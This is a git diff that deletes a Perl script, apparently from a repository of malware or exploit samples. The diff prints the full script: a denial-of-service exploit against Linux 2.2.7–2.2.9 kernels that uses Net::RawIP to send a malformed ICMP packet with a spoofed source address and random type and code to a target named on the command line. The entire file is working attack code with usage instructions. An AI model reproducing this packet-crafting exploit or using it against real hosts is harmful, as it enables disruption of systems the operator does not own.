diff --git a/Perl/DoS.Perl.Small.a b/Perl/DoS.Perl.Small.a
deleted file mode 100644
index 74efb38e..00000000
--- a/Perl/DoS.Perl.Small.a
+++ /dev/null
@@ -1,49 +0,0 @@
-# **************************************************************
-# DoS for Linux kernels from 2.2.7 to 2.2.9 reported in BUGTRAQ
-# 06/01/99 by Piotr Wilkin <pwl@wotan.2slo.wav.pl>
-# An attacker has to be in same ethernet segment with victim 
-# I did't test it 
-# coded by misteri0 from P.A.T.C.H.
-# Requires Net-RawIP-0.09 included in this directory
-# Edited for use with toast by Gridmark
-# **************************************************************
-$| = 1;
-require 'getopts.pl';
-use Net::RawIP;
-Getopts('t:');
-die " misteri0\@unet from P.A.T.C.H.\n Usage $0 -t <target>" unless
-$opt_t;
-srand(time);
-$i = 996;
-$data .= chr(int rand(255)),$i-- while($i); 
-
-$icmp = new Net::RawIP({
-                        ip => {
-                                 ihl => 6,
-			         tot_len => 1024,
-			         id => 1,
-			         ttl => 255,
-			         frag_off => 0,
-			         daddr => $opt_t
-                               },
-			icmp => { 
-			         id => 2650, 
-				 data => $data 
-				}
-		       });
-		       
- $j++;
- $icmp->set({
-            ip => { saddr => 17000000 + int rand 4261000000 },
-            icmp => { 
-	             type => int rand(14),
-	             code => int rand(10),
-		     sequence => int rand(255)
-	            }                                           
-          });
- $icmp->send;
-  print "Linux-DoS sent...\n"
-# print "[b00m] " unless $j%1000;	  
-
-
-